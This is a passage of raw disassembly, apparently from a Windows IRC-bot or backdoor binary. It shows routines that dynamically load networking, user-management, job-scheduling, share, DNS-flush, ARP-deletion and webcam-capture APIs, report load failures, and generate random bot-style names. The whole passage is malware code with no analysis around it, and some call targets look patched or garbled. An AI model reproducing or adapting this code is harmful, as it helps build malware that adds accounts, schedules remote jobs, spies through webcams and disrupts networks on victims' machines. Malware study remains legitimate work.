		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
		call	near ptr 2690800h
		mov	dword_4CB058, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2690800h
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2690800h
		mov	dword_4CB068, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		call	near ptr 2690800h
		nop
		mov	dword_4CB070, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2690800h
		mov	dword_4CB078, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 2690800h
		mov	dword_4CB080, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2690800h
		mov	dword_4CB088, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2690800h
		mov	dword_4CB090, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2690800h
		mov	dword_4CB098, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		call	near ptr 2690800h
		nop
		mov	dword_4CB0A0, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D330
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D544
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D520
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F0

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D590o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26A0688h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D5F8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		dd 29595FE8h, 0E8509002h, 10BA8h, 10247C8Bh, 3C2404C7h
		dd 68004291h, 42C91Ch, 0E8571C6Ah, 10C38h, 0C483F633h
		dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h
		dd 64685752h, 6A0042B4h, 11E8571Ch, 8300010Ch, 3B4614C4h
		dd 42909835h, 8BDA7C00h, 0C35E5FC7h

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26A0688h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD

loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26A0688h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431250
		push	eax
		push	esi
		nop
		call	near ptr 26D0000h
		movsx	eax, byte_431250
		push	41h
		pop	ecx
		push	1
		pop	edx

